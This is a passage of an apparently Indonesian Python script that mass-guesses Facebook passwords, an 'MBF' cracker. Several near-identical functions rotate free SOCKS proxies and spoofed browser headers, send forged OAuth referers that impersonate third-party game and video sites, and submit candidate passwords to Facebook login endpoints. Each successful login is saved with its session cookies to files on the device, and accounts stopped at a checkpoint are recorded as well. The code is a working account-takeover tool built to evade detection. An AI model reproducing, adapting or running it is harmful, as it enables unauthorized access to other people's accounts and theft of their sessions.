  870.             'referer': f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  871.             'accept-encoding': 'gzip, deflate, br',
  872.             'accept-language': 'id-ID,id;q=0.9'
  873.             }
  874.         )
  875.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, cookies={'cookie': koki}, allow_redirects=False,proxies=proxs)
  876.             if "c_user" in ses.cookies.get_dict().keys():
  877.                 ok+=1
  878.                 coki=po.cookies.get_dict()
  879.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  880.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  881.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  882.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(H2),style=f"#AAAAAA"))
  883.                 tree.add(Panel.fit(f"%s{kuki}"%(H2),style=f"#AAAAAA"))
  884.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  885.                 prints(tree)
  886.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  887.                 break          
  888.             elif "checkpoint" in po.cookies.get_dict().keys():
  889.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  890.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  891.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  892.                 prints(tree)
  893.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  894.                 akune.append(idf+'|'+pw)
  895.                 ceker(idf,pw)
  896.                 cp+=1
  897.                 break  
  898.                
  899.             else:
  900.                 continue
  901.         except requests.exceptions.ConnectionError:
  902.             time.sleep(31)
  903.     loop+=1
  904.    
  905. #----------[ MOBILE ASYINC ]----------#                            
  906. def cracking03(idf,pwx,url):
  907.     global loop,ok,cp
  908.     ses = requests.Session()
  909.     rr = random.randint
  910.     rc = random.choice
  911.     emot = rc(["😝","😜","ðŸĪŠ"])
  912.     prog.update(des,description=f"\r {emot} MBF 03 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  913.     prog.advance(des)
  914.     for pw in pwx:
  915.         try:
  916.             if 'ya' in uadia: ua = uamu[0]
  917.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  918.             open('socksku.txt','w').write(proxs)
  919.             nip = rc(proxs)
  920.             proxs = {'http': 'socks4://'+nip}
  921.             ua = rc(ugen)
  922.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  923.             ref = rc(["https://free.facebook.com/v15.0/dialog/oauth?app_id=2099441543493930&cbt=1695431299436&channel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1c85e481ec6f54%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff32319606d1fd9%26relation%3Dopener&client_id=2099441543493930&display=touch&domain=account.hoyoverse.com&e2e=%7B%7D&fallback_redirect_uri=https%3A%2F%2Faccount.hoyoverse.com%2F%23%2Flogin%3Fcb_route%3D%252Faccount%252FaccountInfo&locale=id_ID&logger_id=f3326cd7b1d756&origin=2&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df3b2584c4d3e4dc%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff32319606d1fd9%26relation%3Dopener%26frame%3Df24c2c7ee5b0ad4&response_type=token%2Csigned_request%2Cgraph_domain&sdk=joey&version=v15.0&refsrc=deprecated&ret=login&fbapp_pres=0&tp=unspecified"])
  924.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  925.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  926.             'had_cp_prefilled': 'false',
  927.             'had_password_prefilled': 'false',
  928.             'is_smart_lock': 'true',
  929.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  930.             "__dyn": "",
  931.             "__csr": "",
  932.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  933.             "__a": "",
  934.             "__user": "0",
  935.             "_fb_noscript": "true"}
  936.             head = {"Host": url,
  937.             "content-length": f"{len(str(date))}",
  938.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  939.             "sec-ch-ua-mobile": "?1",
  940.             "user-agent": ua,
  941.             "viewport-width": f"str(rr(400,989)",
  942.             "content-type": "application/x-www-form-urlencoded",
  943.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  944.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  945.             "x-asbd-id": "129477",
  946.             "x-requested-with": "mark.via.gp",
  947.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  948.             "sec-ch-prefers-color-scheme": "light",
  949.             "sec-ch-ua-platform": '"Android"',
  950.             "accept": "*/*",
  951.             "origin": "https://"+url,
  952.             "sec-fetch-site": "same-origin",
  953.             "sec-fetch-mode": "cors",
  954.             "sec-fetch-dest": "empty",
  955.             "referer": ref,
  956.             "accept-encoding": "gzip, deflate, br",
  957.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  958.             "x-response-format": "JSONStream"}     
  959.             links = rc([f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100"])
  960.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  961.             if "c_user" in ses.cookies.get_dict().keys():
  962.                 ok+=1
  963.                 coki=po.cookies.get_dict()
  964.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  965.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  966.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  967.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(H2),style=f"#AAAAAA"))
  968.                 tree.add(Panel.fit(f"%s{kuki}"%(H2),style=f"#AAAAAA"))
  969.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  970.                 prints(tree)
  971.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  972.                 break          
  973.             elif "checkpoint" in po.cookies.get_dict().keys():
  974.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  975.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  976.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  977.                 prints(tree)
  978.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  979.                 akune.append(idf+'|'+pw)
  980.                 ceker(idf,pw)
  981.                 cp+=1
  982.                 break  
  983.                
  984.             else:
  985.                 continue
  986.         except requests.exceptions.ConnectionError:
  987.             time.sleep(31)
  988.     loop+=1
  989.    
  990. #----------[ M ALPHA ASYINC ]----------#                               
  991. def cracking04(idf,pwx,url):
  992.     global loop,ok,cp
  993.     ses = requests.Session()
  994.     rr = random.randint
  995.     rc = random.choice
  996.     emot = rc(["😝","😜","ðŸĪŠ"])
  997.     prog.update(des,description=f"\r {emot} MBF 04 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  998.     prog.advance(des)
  999.     for pw in pwx:
  1000.         try:
  1001.             if 'ya' in uadia: ua = uamu[0]
  1002.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1003.             open('socksku.txt','w').write(proxs)
  1004.             nip = rc(proxs)
  1005.             proxs = {'http': 'socks4://'+nip}
  1006.             #proxs = {'http': 'socks5://'+nip}
  1007.             ua = rc(ugen)
  1008.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1009.             ref = rc(["https://free.facebook.com/v13.0/dialog/oauth?client_id=344190606773871&redirect_uri=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook&state=cf6e9bb52dc57f69601e1f951fbfa5fa198fd9843a5250e744c7ec218d73&scope=email&ret=login&fbapp_pres=0&logger_id=a55bca6c-4160-473d-bebc-4b9ca91b72b4&tp=unspecified"])
  1010.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1011.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1012.             'had_cp_prefilled': 'false',
  1013.             'had_password_prefilled': 'false',
  1014.             'is_smart_lock': 'true',
  1015.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1016.             "__dyn": "",
  1017.             "__csr": "",
  1018.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1019.             "__a": "",
  1020.             "__user": "0",
  1021.             "_fb_noscript": "true"}
  1022.             head = {"Host": url,
  1023.             "content-length": f"{len(str(date))}",
  1024.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1025.             "sec-ch-ua-mobile": "?1",
  1026.             "user-agent": ua,
  1027.             "viewport-width": f"str(rr(400,989)",
  1028.             "content-type": "application/x-www-form-urlencoded",
  1029.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1030.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1031.             "x-asbd-id": "129477",
  1032.             "x-requested-with": "mark.via.gp",
  1033.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1034.             "sec-ch-prefers-color-scheme": "light",
  1035.             "sec-ch-ua-platform": '"Android"',
  1036.             "accept": "*/*",
  1037.             "origin": "https://"+url,
  1038.             "sec-fetch-site": "same-origin",
  1039.             "sec-fetch-mode": "cors",
  1040.             "sec-fetch-dest": "empty",
  1041.             "referer": ref,
  1042.             "accept-encoding": "gzip, deflate, br",
  1043.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1044.             "x-response-format": "JSONStream"}     
  1045.             links = rc([f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100"])
  1046.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  1047.             if "c_user" in ses.cookies.get_dict().keys():
  1048.                 ok+=1
  1049.                 coki=po.cookies.get_dict()
  1050.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1051.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  1052.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  1053.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(H2),style=f"#AAAAAA"))
  1054.                 tree.add(Panel.fit(f"%s{kuki}"%(H2),style=f"#AAAAAA"))
  1055.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  1056.                 prints(tree)
  1057.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  1058.                 break          
  1059.             elif "checkpoint" in po.cookies.get_dict().keys():
  1060.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  1061.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  1062.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  1063.                 prints(tree)
  1064.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1065.                 akune.append(idf+'|'+pw)
  1066.                 ceker(idf,pw)
  1067.                 cp+=1
  1068.                 break  
  1069.                
  1070.             else:
  1071.                 continue
  1072.         except requests.exceptions.ConnectionError:
  1073.             time.sleep(31)
  1074.     loop+=1
  1075.        
  1076. #----------[ M TOUCH ASYINC ]----------#                               
  1077. def cracking05(idf,pwx,url):
  1078.     global loop,ok,cp
  1079.     ses = requests.Session()
  1080.     rr = random.randint
  1081.     rc = random.choice
  1082.     emot = rc(["😝","😜","ðŸĪŠ"])
  1083.     prog.update(des,description=f"\r {emot} MBF 05 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1084.     prog.advance(des)
  1085.     for pw in pwx:
  1086.         try:
  1087.             if 'ya' in uadia: ua = uamu[0]
  1088.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1089.             open('socksku.txt','w').write(proxs)
  1090.             nip = rc(proxs)
  1091.             #proxs = {'http': 'socks4://'+nip}
  1092.             proxs = {'http': 'socks5://'+nip}
  1093.             ua = rc(ugen)
  1094.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1095.             ref = rc(["https://free.facebook.com/v4.0/dialog/oauth?response_type=code&client_id=923560728108869&redirect_uri=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&state=796d0cb30a47b485779b044fe00412aaf7a6176bdaa6da23&scope=public_profile%2C+email&ret=login&fbapp_pres=0&logger_id=316f61e8-edf0-4bff-9e1b-db57cccc4337&tp=unspecified"])
  1096.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1097.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1098.             'had_cp_prefilled': 'false',
  1099.             'had_password_prefilled': 'false',
  1100.             'is_smart_lock': 'true',
  1101.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1102.             "__dyn": "",
  1103.             "__csr": "",
  1104.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1105.             "__a": "",
  1106.             "__user": "0",
  1107.             "_fb_noscript": "true"}
  1108.             head = {"Host": url,
  1109.             "content-length": f"{len(str(date))}",
  1110.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1111.             "sec-ch-ua-mobile": "?1",
  1112.             "user-agent": ua,
  1113.             "viewport-width": f"str(rr(400,989)",
  1114.             "content-type": "application/x-www-form-urlencoded",
  1115.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1116.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1117.             "x-asbd-id": "129477",
  1118.             "x-requested-with": "mark.via.gp",
  1119.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1120.             "sec-ch-prefers-color-scheme": "light",
  1121.             "sec-ch-ua-platform": '"Android"',
  1122.             "accept": "*/*",
  1123.             "origin": "https://"+url,
  1124.             "sec-fetch-site": "same-origin",
  1125.             "sec-fetch-mode": "cors",
  1126.             "sec-fetch-dest": "empty",
  1127.             "referer": ref,
  1128.             "accept-encoding": "gzip, deflate, br",
  1129.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1130.             "x-response-format": "JSONStream"}     
  1131.             links = rc([f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100"])
  1132.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  1133.             if "c_user" in ses.cookies.get_dict().keys():
  1134.                 ok+=1
  1135.                 coki=po.cookies.get_dict()
  1136.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1137.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  1138.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  1139.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(H2),style=f"#AAAAAA"))
  1140.                 tree.add(Panel.fit(f"%s{kuki}"%(H2),style=f"#AAAAAA"))
  1141.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  1142.                 prints(tree)
  1143.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  1144.                 break          
  1145.             elif "checkpoint" in po.cookies.get_dict().keys():
  1146.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  1147.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  1148.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  1149.                 prints(tree)
  1150.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1151.                 akune.append(idf+'|'+pw)
  1152.                 ceker(idf,pw)
  1153.                 cp+=1
  1154.                 break  
  1155.                
  1156.             else:
  1157.                 continue
  1158.         except requests.exceptions.ConnectionError:
  1159.             time.sleep(31)
  1160.     loop+=1
  1161.        
  1162. #----------[ MOBILE REGULER ]----------#                               
  1163. def cracking06(idf,pwx,url):
  1164.     global loop,ok,cp
  1165.     ses = requests.Session()
  1166.     rr = random.randint
  1167.     rc = random.choice
  1168.     emot = rc(["😝","😜","ðŸĪŠ"])
  1169.     prog.update(des,description=f"\r {emot} MBF 06 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1170.     prog.advance(des)
  1171.     for pw in pwx:
  1172.         try:
  1173.             if 'ya' in uadia: ua = uamu[0]
  1174.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1175.             open('socksku.txt','w').write(proxs)
  1176.             nip = rc(proxs)
  1177.             proxs = {'http': 'socks4://'+nip}
  1178.             ua = rc(ugen)
  1179.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])    
  1180.             ses.headers.update({"Host":url,
  1181.             "upgrade-insecure-requests":"1",
  1182.             "user-agent":ua,
  1183.             "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1184.             "dnt":f"{str(rr(1,9))}",
  1185.             "x-requested-with":"com.facebook.katana",
  1186.             "sec-fetch-site":"same-origin",
  1187.             "sec-fetch-mode":"cors",
  1188.             "sec-fetch-user":"empty",
  1189.             "sec-fetch-dest":"document",
  1190.             "referer":f"https://{url}/",
  1191.             "accept-encoding":"gzip, deflate br",
  1192.             "accept-language":"en-GB,en-US;q=0.9"})
  1193.             link = ses.get('https://m.facebook.com/login/?email='+idf).text
  1194.             date = {'lsd':re.search('name="lsd" value="(.*?)"', str(link)).group(1),'jazoest':re.search('name="jazoest" value="(.*?)"', str(link)).group(1),'m_ts':re.search('name="m_ts" value="(.*?)"', str(link)).group(1),
  1195. 'li':re.search('name="li" value="(.*?)"', str(link)).group(1),'email':idf,'pass':pw}
  1196.             ses.headers.update({'Host': url,
  1197.             'cache-control': 'max-age=0',
  1198.             'upgrade-insecure-requests': '1',
  1199.             'origin': 'https://'+url,
  1200.             'content-type': 'application/x-www-form-urlencoded',
  1201.             'user-agent': ua,
  1202.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1203.             'sec-fetch-site': 'same-origin',
  1204.             'sec-fetch-mode': 'cors',
  1205.             'sec-fetch-user': 'empty',
  1206.             'sec-fetch-dest': 'document',
  1207.             'referer': f'https://{url}/login/?email='+idf,
  1208.             'accept-encoding':'gzip, deflate br',
  1209.             'accept-language':'en-GB,en-US;q=0.9'})
  1210.             links = rc([f"https://{url}/login/login/device-based/regular/login/?shbl=1&refsrc=deprecated"])
  1211.             po = ses.post(links,data=date,allow_redirects=False,proxies=proxs)
  1212.             if "c_user" in ses.cookies.get_dict().keys():
  1213.                 ok+=1
  1214.                 cooz = ses.cookies.get_dict()
  1215.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1216.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  1217.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(H2),style=f"#AAAAAA"))
